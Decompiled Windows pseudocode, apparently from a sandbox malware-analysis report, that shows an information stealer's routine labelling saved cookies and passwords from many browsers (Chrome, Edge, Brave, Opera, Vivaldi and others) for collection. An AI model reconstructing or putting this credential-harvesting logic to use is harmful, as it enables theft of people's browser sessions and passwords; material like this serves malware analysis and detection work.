				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x908);
				_t915 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t915 & 0x000000ff) != 1) goto 0xe6b0622d;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "BraveCookies");
				goto 0xe6b0627d;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x308);
				_t920 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1904);
				_t1377 = _t920 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t920 & 0x000000ff) != 1) goto 0xe6b0629f;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "BraveCookies");
				_t1905 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x308);
				E00007FF77FF7E6B0C080(_t1377,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x8e8);
				_t927 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t927 & 0x000000ff) != 1) goto 0xe6b062f5;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "CentCookies");
				goto 0xe6b06345;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x328);
				_t932 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1905);
				_t1379 = _t932 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t932 & 0x000000ff) != 1) goto 0xe6b06367;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "CentCookies");
				_t1906 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x328);
				E00007FF77FF7E6B0C080(_t1379,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x8c8);
				_t939 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t939 & 0x000000ff) != 1) goto 0xe6b063bd;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "ChromeCookies");
				goto 0xe6b0640d;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x128);
				_t944 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1906);
				_t1381 = _t944 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t944 & 0x000000ff) != 1) goto 0xe6b0642f;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "ChromeCookies");
				_t1907 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x128);
				E00007FF77FF7E6B0C080(_t1381,  *0xe6b6e070, _t1696, _t1696, _t1696); // executed
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x2a8);
				_t951 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t951 & 0x000000ff) != 1) goto 0xe6b06485;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "CoolCookies");
				goto 0xe6b064d5;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x8a8);
				_t956 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1907);
				_t1383 = _t956 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t956 & 0x000000ff) != 1) goto 0xe6b064f7;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "CoolCookies");
				_t1908 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x8a8);
				E00007FF77FF7E6B0C080(_t1383,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x288);
				_t963 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t963 & 0x000000ff) != 1) goto 0xe6b0654d;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "ComodoCookies");
				goto 0xe6b0659d;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x888);
				_t968 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1908);
				_t1385 = _t968 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t968 & 0x000000ff) != 1) goto 0xe6b065bf;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "ComodoCookies");
				_t1909 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x888);
				E00007FF77FF7E6B0C080(_t1385,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x268);
				_t975 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t975 & 0x000000ff) != 1) goto 0xe6b06615;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "EdgeCookies");
				goto 0xe6b06665;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x868);
				_t980 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1909);
				_t1387 = _t980 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t980 & 0x000000ff) != 1) goto 0xe6b06687;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "EdgeCookies");
				_t1910 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x868);
				E00007FF77FF7E6B0C080(_t1387,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x248);
				_t987 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t987 & 0x000000ff) != 1) goto 0xe6b066dd;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "EpicCookies");
				goto 0xe6b0672d;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x848);
				_t992 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1910);
				_t1389 = _t992 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t992 & 0x000000ff) != 1) goto 0xe6b0674f;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "EpicCookies");
				_t1911 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x848);
				E00007FF77FF7E6B0C080(_t1389,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x228);
				_t999 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t999 & 0x000000ff) != 1) goto 0xe6b067a5;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "GoCookies");
				goto 0xe6b067f5;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x828);
				_t1004 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1911);
				_t1391 = _t1004 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1004 & 0x000000ff) != 1) goto 0xe6b06817;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "GoCookies");
				_t1912 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x828);
				E00007FF77FF7E6B0C080(_t1391,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x208);
				_t1011 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1011 & 0x000000ff) != 1) goto 0xe6b0686d;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "OperaCookies");
				goto 0xe6b068bd;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x808);
				_t1016 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1912);
				_t1393 = _t1016 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1016 & 0x000000ff) != 1) goto 0xe6b068df;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "OperaCookies");
				_t1913 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x808);
				E00007FF77FF7E6B0C080(_t1393,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x1e8);
				_t1023 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1023 & 0x000000ff) != 1) goto 0xe6b06935;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "RockCookies");
				goto 0xe6b06985;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x7e8);
				_t1028 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1913);
				_t1395 = _t1028 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1028 & 0x000000ff) != 1) goto 0xe6b069a7;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "RockCookies");
				_t1914 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x7e8);
				E00007FF77FF7E6B0C080(_t1395,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x1c8);
				_t1035 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1035 & 0x000000ff) != 1) goto 0xe6b069fd;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "SleipCookies");
				goto 0xe6b06a4d;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0xc28);
				_t1040 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1914);
				_t1397 = _t1040 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1040 & 0x000000ff) != 1) goto 0xe6b06a6f;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "SleipCookies");
				_t1915 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xc28);
				E00007FF77FF7E6B0C080(_t1397,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x1a8);
				_t1047 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1047 & 0x000000ff) != 1) goto 0xe6b06ac5;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "SRWCookies");
				goto 0xe6b06b15;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0xc08);
				_t1052 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1915);
				_t1399 = _t1052 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1052 & 0x000000ff) != 1) goto 0xe6b06b37;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "SRWCookies");
				_t1916 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xc08);
				E00007FF77FF7E6B0C080(_t1399,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x188);
				_t1059 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1059 & 0x000000ff) != 1) goto 0xe6b06b8d;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "TitanCookies");
				goto 0xe6b06bdd;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0xbe8);
				_t1064 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1916);
				_t1401 = _t1064 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1064 & 0x000000ff) != 1) goto 0xe6b06bff;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "TitanCookies");
				_t1917 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xbe8);
				E00007FF77FF7E6B0C080(_t1401,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x168);
				_t1071 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1071 & 0x000000ff) != 1) goto 0xe6b06c55;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "TorchCookies");
				goto 0xe6b06ca5;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0xbc8);
				_t1076 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1917);
				_t1403 = _t1076 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1076 & 0x000000ff) != 1) goto 0xe6b06cc7;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "TorchCookies");
				_t1918 = _t1696;
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xbc8);
				E00007FF77FF7E6B0C080(_t1403,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x148);
				_t1083 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1083 & 0x000000ff) != 1) goto 0xe6b06d1d;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "VivaCookies");
				goto 0xe6b06d6d;
				E00007FF77FF7E6B02E70(_t3074 - 0x20, _t3074 + 0x108);
				_t1088 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1918);
				_t1405 = _t1088 & 0x000000ff;
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1088 & 0x000000ff) != 1) goto 0xe6b06d8f;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "cookie: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "VivaCookies");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x108);
				E00007FF77FF7E6B0C080(_t1405,  *0xe6b6e070, _t1696, _t1696, _t1696);
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xba8);
				_t1095 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1095 & 0x000000ff) != 1) goto 0xe6b06e20;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "AWBPw ");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xba8);
				E00007FF77FF7E6B0C080(_t1095 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xb88);
				_t1102 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1102 & 0x000000ff) != 1) goto 0xe6b06eb1;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "BaiduPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xb88);
				E00007FF77FF7E6B0C080(_t1102 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xb68);
				_t1109 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1109 & 0x000000ff) != 1) goto 0xe6b06f42;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "BlackPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xb68);
				E00007FF77FF7E6B0C080(_t1109 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xb48);
				_t1116 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1116 & 0x000000ff) != 1) goto 0xe6b06fd3;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "BravePw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xb48);
				E00007FF77FF7E6B0C080(_t1116 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xb28);
				_t1123 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1123 & 0x000000ff) != 1) goto 0xe6b07064;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "CentPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xb28);
				E00007FF77FF7E6B0C080(_t1123 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xb08);
				_t1130 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1130 & 0x000000ff) != 1) goto 0xe6b070f5;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "ChromePw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xb08);
				E00007FF77FF7E6B0C080(_t1130 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696); // executed
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xae8);
				_t1137 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1137 & 0x000000ff) != 1) goto 0xe6b07186;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "CoolPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xae8);
				E00007FF77FF7E6B0C080(_t1137 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xac8);
				_t1144 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1144 & 0x000000ff) != 1) goto 0xe6b07217;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "ComodoPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xac8);
				E00007FF77FF7E6B0C080(_t1144 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xaa8);
				_t1151 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1151 & 0x000000ff) != 1) goto 0xe6b072a8;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "EdgePw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xaa8);
				E00007FF77FF7E6B0C080(_t1151 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xa88);
				_t1158 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1158 & 0x000000ff) != 1) goto 0xe6b07339;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "EpicPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xa88);
				E00007FF77FF7E6B0C080(_t1158 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xa68);
				_t1165 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1165 & 0x000000ff) != 1) goto 0xe6b073ca;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "GoPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xa68);
				E00007FF77FF7E6B0C080(_t1165 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xa48);
				_t1172 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1172 & 0x000000ff) != 1) goto 0xe6b0745b;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "OperaPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xa48);
				E00007FF77FF7E6B0C080(_t1172 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xa28);
				_t1179 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1179 & 0x000000ff) != 1) goto 0xe6b074ec;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "RockPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xa28);
				E00007FF77FF7E6B0C080(_t1179 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0xa08);
				_t1186 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1186 & 0x000000ff) != 1) goto 0xe6b0757d;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "SleipPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0xa08);
				E00007FF77FF7E6B0C080(_t1186 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x9e8);
				_t1193 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1193 & 0x000000ff) != 1) goto 0xe6b0760e;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "SRWPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x9e8);
				E00007FF77FF7E6B0C080(_t1193 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x9c8);
				_t1200 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1200 & 0x000000ff) != 1) goto 0xe6b0769f;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "TitanPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x9c8);
				E00007FF77FF7E6B0C080(_t1200 & 0x000000ff,  *0xe6b6e070, _t1696, _t1696, _t1696);
				0xe6b09f60();
				0xe6b0a220();
				E00007FF77FF7E6B02E70(_t3074 - 0x40, _t3074 + 0x9a8);
				_t1207 = E00007FF77FF7E6B04830(_t3074 - 0x40, _t1696);
				E00007FF77FF7E6B01CD0(_t3074 - 0x40);
				if ((_t1207 & 0x000000ff) != 1) goto 0xe6b07730;
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x40, "password: ");
				E00007FF77FF7E6B028C0(_t1696, _t3074 - 0x20, "TorchPw");
				E00007FF77FF7E6B02900(_t1696, _t1696, _t3075 + 0x60, _t3074 + 0x9a8);
